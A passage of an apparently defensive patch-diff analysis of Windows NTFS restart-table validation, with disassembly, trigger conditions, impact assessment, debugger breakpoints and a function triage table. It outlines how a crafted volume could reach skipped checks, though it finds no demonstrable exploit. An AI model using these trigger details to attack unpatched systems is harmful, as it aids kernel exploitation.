class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE19&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;#2&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE1E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE20&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C002DE76&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE22&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE26&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;FFFFh&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE2E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C002DE36&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE30&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE34&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C002DE76&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;NtfsCheckRestartTable&lt;/code&gt; (&lt;code&gt;0x1C01BC2D4&lt;/code&gt;, unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC2F6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_2859161914_59426036_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC300&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;selection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC305&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC30C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC30E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C01BC381&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;weaker&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- feature ON: strong path ---&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC310&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r9w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9w&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC31A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r10d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer_size&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC31F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC32A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r11d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberInUse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;second&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inside&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;traversal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC49E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_2859161914_59426036_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC4A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC4AA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C01BC4AC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C01BC4CE&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;relaxed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the patched build (&lt;code&gt;0x1C01BC2C4&lt;/code&gt;) the routine has no &lt;code&gt;EvaluateCurrentState&lt;/code&gt; calls; it enters directly at the strong checks (&lt;code&gt;entry_size != 0&lt;/code&gt;, &lt;code&gt;entry_size &amp;lt;= buffer_size&lt;/code&gt;, &lt;code&gt;NumberEntries != 0&lt;/code&gt;, &lt;code&gt;NumberInUse != 0&lt;/code&gt;, then &lt;code&gt;div&lt;/code&gt; to confirm the entry count fits the buffer).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Volume/log preparation:&lt;/strong&gt; The validated table originates from the &lt;code&gt;$LogFile&lt;/code&gt; restart area of a mounted NTFS volume. Reaching &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt; with attacker-influenced fields requires presenting a crafted NTFS volume (VHD or physical media) whose log restart area is malformed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Recovery/mount:&lt;/strong&gt; Mount or otherwise trigger LFS recovery so the restart area is parsed and the restart tables are built, validated (&lt;code&gt;NtfsCheckRestartTable&lt;/code&gt;), and grown (&lt;code&gt;NtfsExtendRestartTable&lt;/code&gt;, &lt;code&gt;NtfsAllocateRestartTableIndex&lt;/code&gt;, &lt;code&gt;NtfsAllocateRestartTableFromIndex&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature state:&lt;/strong&gt; The bypass only exists when &lt;code&gt;g_Feature_2859161914_59426036&lt;/code&gt; evaluates false in the unpatched build. When it evaluates true (or in the patched build, always), the consistency checks run and malformed tables raise &lt;code&gt;STATUS_DISK_CORRUPT_ERROR&lt;/code&gt; (&lt;code&gt;0xC0000032&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect (if checks are absent):&lt;/strong&gt; A malformed restart table with an inconsistent &lt;code&gt;entry_size&lt;/code&gt;/&lt;code&gt;NumberEntries&lt;/code&gt;/&lt;code&gt;NumberInUse&lt;/code&gt; can drive incorrect free-list index arithmetic and &lt;code&gt;memset&lt;/code&gt;/pool sizing. This can surface as &lt;code&gt;STATUS_DISK_CORRUPT_ERROR&lt;/code&gt; when the checks are present, or as out-of-bounds access when they are skipped. A controlled, attacker-sized kernel heap overflow is not demonstrable from these binaries because the growth addend in &lt;code&gt;NtfsExtendRestartTable&lt;/code&gt; is not attacker-scaled (see Finding 1).&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nature:&lt;/strong&gt; A staged consistency/overflow-check feature for LFS restart tables is made unconditional. The patched build is strictly stricter; the unpatched build skips the checks only when the WIL feature evaluates false.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachable impact:&lt;/strong&gt; Bounded. &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt; parses the &lt;code&gt;$LogFile&lt;/code&gt; restart area, so its fields are influenceable by a crafted volume; skipping its strong path lets malformed restart tables through to routines that use &lt;code&gt;entry_size&lt;/code&gt;/count fields for &lt;code&gt;memset&lt;/code&gt; sizing, pool sizing, and free-list index math. That is a plausible out-of-bounds risk on a mount-a-malicious-volume (local, physical/VHD) attack surface.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not demonstrable:&lt;/strong&gt; The integer overflow in &lt;code&gt;NtfsExtendRestartTable&lt;/code&gt; (Finding 1) is not reachable with attacker magnitude — the augend is a 16-bit field and every caller supplies a small growth addend, so &lt;code&gt;NumberEntries + arg2&lt;/code&gt; cannot wrap 32 bits. No arbitrary-size pool overflow, information leak, or code-execution primitive is provable from these two binaries.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;Useful breakpoints for observing the gate behavior in the unpatched build:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ntfs!NtfsExtendRestartTable                 ; 0x1C0024660
bp 0x1C00246A5                                 ; call EvaluateCurrentState (feature eval)
bp 0x1C00246F5                                 ; unchecked add path (feature OFF)
bp 0x1C0024727                                 ; memmove of the old table body
bp ntfs!NtfsCheckRestartTable                  ; 0x1C01BC2D4
bp 0x1C01BC300                                 ; path-selection feature eval
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1C00246A5&lt;/code&gt;: after &lt;code&gt;call EvaluateCurrentState&lt;/code&gt;, &lt;code&gt;EAX == 0&lt;/code&gt; means the feature is disabled and the checked add is skipped (&lt;code&gt;je 0x1C00246F5&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00246F9&lt;/code&gt; (&lt;code&gt;add edx, edi&lt;/code&gt;): &lt;code&gt;EDX&lt;/code&gt; = zero-extended &lt;code&gt;NumberEntries&lt;/code&gt; (&lt;code&gt;[rbx+2]&lt;/code&gt;), &lt;code&gt;EDI&lt;/code&gt; = growth addend. Both are small in practice.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0024727&lt;/code&gt; (&lt;code&gt;memmove&lt;/code&gt;): &lt;code&gt;R8&lt;/code&gt; = &lt;code&gt;entry_size * NumberEntries&lt;/code&gt; (original), &lt;code&gt;RCX&lt;/code&gt; = new table body.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C01BC300&lt;/code&gt;: &lt;code&gt;EAX != 0&lt;/code&gt; selects the strong validation path; &lt;code&gt;EAX == 0&lt;/code&gt; selects the weaker path.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Restart-table header layout (structure at &lt;code&gt;rbx&lt;/code&gt;/&lt;code&gt;rdi&lt;/code&gt;)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+0x00&lt;/code&gt; (WORD) &lt;code&gt;EntrySize&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x02&lt;/code&gt; (WORD) &lt;code&gt;NumberEntries&lt;/code&gt; (allocated)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x04&lt;/code&gt; (WORD) &lt;code&gt;NumberInUse&lt;/code&gt; (in-use / free counter)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x06&lt;/code&gt; (WORD) &lt;code&gt;Flags&lt;/code&gt; (bit 0 selects fixed-size vs computed-size table layout)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x0C&lt;/code&gt; (DWORD) &lt;code&gt;FirstFreeEntry&lt;/code&gt; offset&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x10&lt;/code&gt; (DWORD) free-list head offset&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x14&lt;/code&gt; (DWORD) last-free / hint offset&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x18&lt;/code&gt; (BYTE[]) entry data&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function Name (address)&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsExtendRestartTable&lt;/code&gt; (&lt;code&gt;0x1C0024660&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9096&lt;/td&gt;
&lt;td&gt;Security Relevant&lt;/td&gt;
&lt;td&gt;Removes the feature gate; the &lt;code&gt;RtlULongAdd&lt;/code&gt; overflow check on &lt;code&gt;NumberEntries + growth&lt;/code&gt; is now unconditional. Overflow itself not attacker-reachable (Finding 1).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsAllocateRestartTableFromIndex&lt;/code&gt; (&lt;code&gt;0x1C002DC38&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9651&lt;/td&gt;
&lt;td&gt;Security Relevant&lt;/td&gt;
&lt;td&gt;Removes the gate; zero entry-size/count and in-use-count overflow checks now unconditional.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsAllocateRestartTableIndex&lt;/code&gt; (&lt;code&gt;0x1C000E124&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.8786&lt;/td&gt;
&lt;td&gt;Security Relevant&lt;/td&gt;
&lt;td&gt;Removes the gate; zero entry-size/count and entry-count overflow checks now unconditional.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsCheckRestartTable&lt;/code&gt; (&lt;code&gt;0x1C01BC2D4&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.8353&lt;/td&gt;
&lt;td&gt;Security Relevant&lt;/td&gt;
&lt;td&gt;Unifies the two feature-selected validation paths into a single strict path (the on-disk &lt;code&gt;$LogFile&lt;/code&gt; restart-area validator).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;InitializeNewTable&lt;/code&gt; (&lt;code&gt;0x1C0019D10&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9321&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Restart-table pool allocator; feature gate removed from a &lt;code&gt;NumberInUse==0&lt;/code&gt; early check before &lt;code&gt;NtfsLinkRestartTable&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PageUpdateAnalysis&lt;/code&gt; (&lt;code&gt;0x1C0205D04&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9572&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Removes the gate around a &lt;code&gt;NumberEntries &amp;gt;= required&lt;/code&gt; bounds check; caller of the restart-table routines.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;0x1C0030128&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.6686&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;The WIL feature-state evaluator itself; refactored (relocated to &lt;code&gt;0x1C00303D0&lt;/code&gt;, signature simplified). Not the vulnerability.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsSetPositionInfo&lt;/code&gt; (&lt;code&gt;0x1C01D2D80&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9854&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Feature call retargeted to the refactored evaluator; separate feature family, still gated in both builds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsSetAllocationInfo&lt;/code&gt; (&lt;code&gt;0x1C00DFA10&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9928&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Same evaluator retargeting; separate feature, gated in both builds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt; (&lt;code&gt;0x1C011B630&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9929&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Same evaluator retargeting; separate feature, gated in both builds.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There are no unmatched functions in either build. All changes occurred inline within existing functions. An independent function-level diff of the two decompilations found no additional security-relevant change outside the ten functions above.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
